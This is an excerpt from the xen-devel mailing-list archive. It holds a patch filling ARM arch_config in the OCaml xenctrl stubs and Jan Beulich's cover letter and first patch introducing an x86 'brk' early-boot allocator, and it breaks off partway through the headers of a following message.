	Andrew Cooper <andrew.cooper3@citrix.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH] tools/ocaml: fill arch_config for ARM in domain_getinfolist
Date: Mon, 27 Jul 2026 11:11:29 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.13d4.6e6ab21c4c536447.19fa2d80b46.419e05ddcd83bf7f=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785143495495
X-purgate-ID: tlsNG-bad1c0/1785143498-BC4CB034-F8CED5E1/0/0
X-purgate-type: clean
X-purgate-size: 2390

---=Part.13d4.6e6ab21c4c536447.19fa2d80b46.419e05ddcd83bf7f=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

In the function alloc_domaininfo() the arch_config field in domaininfo
is only filled inside #if defined(__i386__) || defined(__x86_64__)=2E On
ARM the field is left unpopulated=2E caml_alloc_tuple() does not zero new
blocks, so di=2EXenctrl=2Earch_config on ARM is uninitialised garbage for
every caller of Xenctrl=2Edomain_getinfolist/domain_getinfo=2E Any toolsta=
ck
dereferencing that value, segfaults once a VM is enumerated in a domain
scan=2E

Add the missing ARM equivalent, populating xen_arm_arch_domainconfig
from the raw xc_domaininfo_t the same way the x86 branch does for
xen_x86_arch_domainconfig=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
 tools/ocaml/libs/xc/xenctrl_stubs=2Ec | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/tools/ocaml/libs/xc/xenctrl_stubs=2Ec b/tools/ocaml/libs/xc/x=
enctrl_stubs=2Ec
index 7f6381cdd2=2E=2Eb60ea9f12e 100644
--- a/tools/ocaml/libs/xc/xenctrl_stubs=2Ec
+++ b/tools/ocaml/libs/xc/xenctrl_stubs=2Ec
@@ -415,6 +415,7 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
 {
 	CAMLparam0();
 	CAMLlocal5(result, tmp, arch_config, x86_arch_config, emul_list);
+	CAMLlocal1(arm_arch_config);
 	int i;
=20
 	result =3D caml_alloc_tuple(17);
@@ -460,6 +461,19 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
=20
 	Store_field(arch_config, 0, x86_arch_config);
=20
+	Store_field(result, 16, arch_config);
+#elif defined(__arm__) || defined(__aarch64__)
+	/* xen_arm_arch_domainconfig */
+	arm_arch_config =3D caml_alloc_tuple(3);
+	Store_field(arm_arch_config, 0, Val_int(info->arch_config=2Egic_version)=
);
+	Store_field(arm_arch_config, 1, Val_int(info->arch_config=2Enr_spis));
+	Store_field(arm_arch_config, 2, caml_copy_int32(info->arch_config=2Ecloc=
k_frequency));
+
+	/* arch_config: arch_domainconfig */
+	arch_config =3D caml_alloc_small(1, 0);
+
+	Store_field(arch_config, 0, arm_arch_config);
+
 	Store_field(result, 16, arch_config);
 #endif
=20
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.13d4.6e6ab21c4c536447.19fa2d80b46.419e05ddcd83bf7f=---


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:18:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:18:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371505.1618991 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIPY-0005p9-0K; Mon, 27 Jul 2026 10:18:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371505.1618991; Mon, 27 Jul 2026 10:18:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIPX-0005p2-Ts; Mon, 27 Jul 2026 10:18:15 +0000
Received: by outflank-mailman (input) for mailman id 1371505;
 Mon, 27 Jul 2026 10:18:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIPX-0005ow-2H
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:18:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIPV-0014YU-W5
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:18:14 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a67305f-5cb7-0a2a0a5109dd-0a2a450bce78-18
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:18:13 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673065-b7e8-0a2a450b0019-d155802be487-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:18:13 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-4953de5be0aso16997825e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:18:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957f9ae5c3sm307607475e9.3.2026.07.27.03.18.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:18:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785147493; x=1785752293; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:from:to
         :cc:subject:date:message-id:reply-to:content-type;
        bh=f0XNwtTTak4FmqNHzfb96PDYay5Kpx+jXWx6lZvUsxE=;
        b=MI+8liniAaHtrqy8Xl4HIsW8tXT6xJ3rGMZYkc769Q3tBxFltj3L/b46I2pNvE5N6q
         suwooWW8NYkNU+7cM6xjZuKsCeDSnn4EWeutcc2ob0zlDMo09uoLTSrzZ3hiYZNEXbdw
         yJSYsTtn6PLAmFQ8UKmXNKuWClaJOMB0sYox6mrD7bq9y+alsl7ubTMK7yQ753xzxm3s
         dN2fvYCdDF/7u/lHpN9m7tbDicJcHkQVqyUWTHv9qv/V8wQVctKOcG3JYxGh01y0Aa6C
         9qTWhF9KMmPWXRP4lh7+rMIt0QXctLqpOBTTJDluSiJbhHHfPNnlK+U5x4f2XvV5GY0W
         aq8w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785147493; x=1785752293;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=f0XNwtTTak4FmqNHzfb96PDYay5Kpx+jXWx6lZvUsxE=;
        b=qv4j1hO/3pWt9KpgJdSZKLVrjwLL28WWWyq0Vhz3LCTq0ckB+GBz+LUity87xSe7dz
         lwEke2VayPPsdJlwnqnK2LHKSMOhmUpsZakXkAy8pQSPiwxxVt89cRrcunTBudlJIzPB
         w1ADP33K3VaJgZsq/BUIERNvsdXHP2idrku1ySb7W6rkthutQOwSuAS+fkqnlejVerpo
         EUmX83COPCY8vKZKlqLelSAaQWtOXmJJ7qBgcmr4EfKIMhbUSKQx355vdxjNIP6RcDGc
         j53Sfbr0cmebhEwr0B0A7MKvDd/IUNd7ysMjc2+KZQfRmjwRTZpoj6e0abI7CH9bwjX4
         0DrA==
X-Gm-Message-State: AOJu0YwzP/eEAuWqCbm5K02AsZBbqsAbqaPCfY9SZ2KhGXu3D7Le1cbX
	nwJTpu+wd/y49fWkT24N6LPaxzugSWtgBUKheN6fiBA3tGOVLb+TEljvUEATC/lrCaXyPUDrrOF
	aSzt0PA==
X-Gm-Gg: AR+sD11Y79wZwo4SJd1uGxhzHPj3XgKgvTbGloSZW5qQGjSSwBWIzDj+PiQRgs1fNyy
	26jX2+otNOnHmMsJFxTrdz/lVIAaUWje15VurWpoNKt3AXC7LpI5ka06AqpNwf37mvItn41bJTQ
	SwlWRK9AQdNBzmhGSkM1VCJwdnO6pyMQd55gZq/oQGliLm4iqjTjFjZ5GonUlAOL3xuz2LpfXlI
	xU8zXxVKrpOnVYTalbH8feW3tTWghB1oscTvmO8vtZmmKpo/JbgKff4siwreKS0tmSIMi/oDlx5
	ZqWEGIHpcZncBgVis6vPz/ymvSefEb8nlEz6CzBZgM1YH51tnS4YthvTldnyFykeEPHZ5ZoLdLI
	J6bIZZG+S4FjhMT+/q2YaLaYluqxmGkjARaEDggj9APVqF1Ro2b8wRed7nvhkGwZrKzmprpfYqy
	r6pW4VOwsVFepNIJeVyC6BwO1Z/8yZX+kABKRI7NNShvd9s0onPym/lB08qD6SU2QEOQ==
X-Received: by 2002:a05:600c:3b86:b0:495:665d:75df with SMTP id 5b1f17b1804b1-496b5719f90mr108197575e9.23.1785147493153;
        Mon, 27 Jul 2026 03:18:13 -0700 (PDT)
Message-ID: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
Date: Mon, 27 Jul 2026 12:18:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v2 0/3] x86: "brk" allocator
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785147493-1BAD09EA-D052D060/0/0
X-purgate-type: clean
X-purgate-size: 545

Derive for our purposes something similar to what Linux has been having for
a long while.

v2 is merely a re-base, mainly targeted at reminding people that this series
is still pending review.

1: x86: introduce "brk" allocator
2: x86/EFI: replace ebmalloc()
3: xhci-dbc: use brk_alloc()

To reduce padding holes, .bss.page_aligned and per-CPU data may want moving
immediately ahead of __brk_start[]. Albeit then the tail of per-CPU data will
all be padding space; sadly the TSS wants/needs page-aligning for XPTI
purposes.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:19:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:19:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371512.1619000 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIQa-0006Hl-8w; Mon, 27 Jul 2026 10:19:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371512.1619000; Mon, 27 Jul 2026 10:19:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIQa-0006He-67; Mon, 27 Jul 2026 10:19:20 +0000
Received: by outflank-mailman (input) for mailman id 1371512;
 Mon, 27 Jul 2026 10:19:18 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIQY-0006HO-IS
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:19:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIQX-003Lf7-Ux
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:19:17 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a67309f-e002-0a2a0a5209dd-0a2a4502be9e-20
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:19:17 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6730a5-6ca4-0a2a45020019-d155802df099-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:19:17 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-4953e04ef16so28290035e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:19:17 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496b4ee4504sm212578435e9.6.2026.07.27.03.19.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:19:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785147557; x=1785752357; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=QQeKvAlM6SQzoqidXEVQvyJcj1pj7jbbJp3aYbBoUHY=;
        b=UQ/qK6fBxR40AuYVyHOrfsOiaj9RllNi6bem55H5IX5yyiWqO/bRYRUr36+zhssnvX
         zMiuz8IMRq9CQdOJJzip5fOhfXPHaFu9+pOLa+jyAiIw5W1Fet15MhXwuoZvSxo0yue4
         L2VkjLTv7WBbXNtFVfAWCNThD8tAcCJOv2NNJonGBzr0iqJIKgO0ob+98J4JCCdcepn5
         fvYj4nyGr4Mvqz8OtvAPb2v/AekxNvcG9qA0hL6GpRUnegVOoMZCXBRlUSsqVmVn7pHo
         7vJEm7OYj5QW60ojh7FHu9HZ/Lul9flmgFrnGmL3QoK8y3VH6c5g3USSjV1tF912Pk3e
         MBfQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785147557; x=1785752357;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=QQeKvAlM6SQzoqidXEVQvyJcj1pj7jbbJp3aYbBoUHY=;
        b=C8J57QmBvXrrQV6cJ9am0Z+LMRe2Kprjc2Xji78e75fjviGdb/I6aM0AGauK4V7x/+
         N+etuMu2lVSmaYJ3pLRhzd03nQe5L3YrDkk49PyfzHbbAMUBm0/zBoPQBVxDp9DPAhDo
         oz9Lr2EUel1QUphFm9Kdnllw0/8vvej3t3OV2jiPqBAOxwzuLHVDLsvUFFkYxS/8p1Ta
         l6OVk5HSLf+f1TODyYg7vkbHgrFGqreQwFvfg0Jt1PtmIqRTap3YL5Gbxv1CMkvK4tyy
         WiREL1CBY3aIolIcMD2eRFDr9Zod9JDBJXgWTfBKlYotzkIDY6/g867I6a/dWb4f8seV
         mS5Q==
X-Gm-Message-State: AOJu0YxzFLGrxirsXs/apdagv/nClS6HDSF9w2g3uMwbpw7jWbxkOjIe
	CptqKLGD4i/imkDaVe7b5XKSOkqIH4iI6vRjaNncwCW0abgcGgYLsKvUQFOY/T7SaXmlGuDYhMw
	35BZzuQ==
X-Gm-Gg: AR+sD116Q1CICWs03T/nx3jjiOS1kyQubXbWAdGVlHByjf3c/0bEBlwW9JvRtMXYurR
	twohnGYID5MAXECrMUAjYJPhj9ae0HYQNhyl+6MFV17AeR1Wkb0OLV9fnBmWGAL2N+/+e2aheai
	vjMQJm/+eAS8+WSm4aEWhgkV8k2GZKh9aDeq1gXSSyswmmD89w7ZJ89AO0ETDaQ17zKqMebHrLa
	DkSXgOT/V2khtCcdU47zxOeAF0oOYxm0lw0Xgf3FiHwGCPm7z/RpchHVaUAUghUK6eCAWN9AqR3
	dt80CQ5GwQSI9oMxzupMkRaDlTfXz3d84bEXFdPZfMJK3oSAUDIPJO8xEzfV38naRcJPxqFx1aO
	7u1Fxp1SVpz6mVzyCMC0OPipkYVhxtpHrjaovN8D3N1clnAh6tAx/QINnqOFEpyd3bFk5movTxa
	2uStXRVQmy+HN3GgU3QKBrnlt4raIuwqyBAP7yzSmw3BH95JOI/6I1pq0OeyIJ2vusonOmluB0N
	TTx
X-Received: by 2002:a05:600c:1553:b0:493:e97c:216e with SMTP id 5b1f17b1804b1-496b5731987mr102856695e9.39.1785147557288;
        Mon, 27 Jul 2026 03:19:17 -0700 (PDT)
Message-ID: <f7e3cd68-f6de-4ada-87d9-1a5dff277b2f@suse.com>
Date: Mon, 27 Jul 2026 12:19:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 1/3] x86: introduce "brk" allocator
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9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jv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785147557-F10A02AC-A2151BDC/0/0
X-purgate-type: clean
X-purgate-size: 4281

... to replace ebmalloc(), and then to find further use(s) to allow
recovering memory which is needed very early (and hence needs setting up
statically), but may not fully be used (or not used at all).

Note that unlike free_ebmalloc_unused_mem(), brk_free_unused() (once
other code is converted) will be able to free part of the BRK space even
in the xen.efi case. That would happen if BRK space extends across a 2Mb
boundary, and actual use stops before that boundary.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Changing setup.c's reserve_e820_ram() uses would be cumbersome when done
right here. That'll be done when ebmalloc() is replaced, and hence
what's there can also simply be replaced.

The xen.efi detection may want separating out into a helper.

When linking xen.efi, ld produces a base relocation for the reference to
__subsystem__, which is wrong (that's an absolute symbol, after all).
While that will need fixing there, it does no harm for our purposes.

--- a/xen/arch/x86/boot/Makefile
+++ b/xen/arch/x86/boot/Makefile
@@ -1,4 +1,5 @@
 obj-bin-y += head.o
+obj-bin-y += brk.init.o
 obj-bin-y += built-in-32.o
 obj-bin-y += $(obj64)
 
--- /dev/null
+++ b/xen/arch/x86/boot/brk.c
@@ -0,0 +1,72 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/efi.h>
+#include <xen/lib.h>
+#include <xen/mm.h>
+#include <xen/page-defs.h>
+
+#include <asm/brk.h>
+
+extern char __brk_start[];
+extern const char __bss_end[];
+
+static unsigned long __initdata allocated;
+static bool __initdata finished;
+
+void *__init brk_alloc(size_t size)
+{
+    void *ptr = __brk_start + allocated;
+
+    if ( finished )
+        return NULL;
+
+    /* Allocations PAGE_SIZE and up will be page-aligned. */
+    if ( size >= PAGE_SIZE )
+        allocated = ROUNDUP(allocated, PAGE_SIZE);
+
+    allocated += ROUNDUP(size, sizeof(void *));
+
+    if ( allocated > __bss_end - __brk_start )
+        return NULL;
+
+    return ptr;
+}
+
+unsigned long __init brk_get_unused_start(void)
+{
+    finished = true;
+
+    allocated = ROUNDUP(allocated, PAGE_SIZE);
+
+    return (unsigned long)__brk_start + allocated;
+}
+
+void __init brk_free_unused(void)
+{
+    unsigned long start = brk_get_unused_start(),
+                  end = (unsigned long)__bss_end;
+    unsigned int subsys;
+
+    /*
+     * Only xen.efi will have the symbol __subsystem__ available, and it'll
+     * be non-zero (10) there.  In ELF the symbol will be undefined, and
+     * hence zero will be loaded into the register.
+     */
+    asm ( ".weak __subsystem__; mov $__subsystem__, %0" : "=r" (subsys) );
+
+    /* using_2M_mapping() isn't available here. */
+    if ( IS_ENABLED(CONFIG_XEN_ALIGN_2M) || subsys )
+        start = PAGE_ALIGN_2M(start);
+
+    if ( start >= end )
+        return;
+
+    destroy_xen_mappings(start, PAGE_ALIGN_2M(end));
+
+    /*
+     * By reserving needed space early in the E820 map, excess space gets freed
+     * way before we make it here. Don't free the range a 2nd time.
+     */
+
+    printk(XENLOG_INFO "Freed %lukB unused BRK memory\n", (end - start) >> 10);
+}
--- /dev/null
+++ b/xen/arch/x86/include/asm/brk.h
@@ -0,0 +1,7 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/types.h>
+
+void *brk_alloc(size_t size);
+unsigned long brk_get_unused_start(void);
+void brk_free_unused(void);
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -321,7 +321,11 @@ SECTIONS
        __bss_start = .;
        *(.bss.page_aligned*)
        PERCPU_BSS
-       *(.bss .bss.*)
+       *(.bss .bss.[a-zA-Z0-9_]*)
+       . = ALIGN(PAGE_SIZE);
+       __brk_start = .;
+       *(.bss..brk.page_aligned*)
+       *(.bss..brk*)
        . = ALIGN(POINTER_ALIGN);
        __bss_end = .;
   } PHDR(text)
--- a/xen/arch/x86/mm.c
+++ b/xen/arch/x86/mm.c
@@ -112,6 +112,7 @@
 #include <xen/vmap.h>
 #include <xen/xmalloc.h>
 
+#include <asm/brk.h>
 #include <asm/e820.h>
 #include <asm/fixmap.h>
 #include <asm/flushtlb.h>
@@ -338,6 +339,8 @@ void __init arch_init_memory(void)
 
     efi_init_memory();
 
+    brk_free_unused();
+
 #ifndef NDEBUG
     if ( highmem_start )
     {



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:20:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:20:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371519.1619009 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIRT-0007lE-HQ; Mon, 27 Jul 2026 10:20:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371519.1619009; Mon, 27 Jul 2026 10:20:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIRT-0007l7-Ed; Mon, 27 Jul 2026 10:20:15 +0000
Received: by outflank-mailman (input) for mailman id 1371519;
 Mon, 27 Jul 2026 10:20:13 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIRR-0007kp-9Q
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:20:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIRQ-000sPx-Az
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:20:12 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6730d3-bab6-0a2a0a5309dd-0a2a450c9838-24
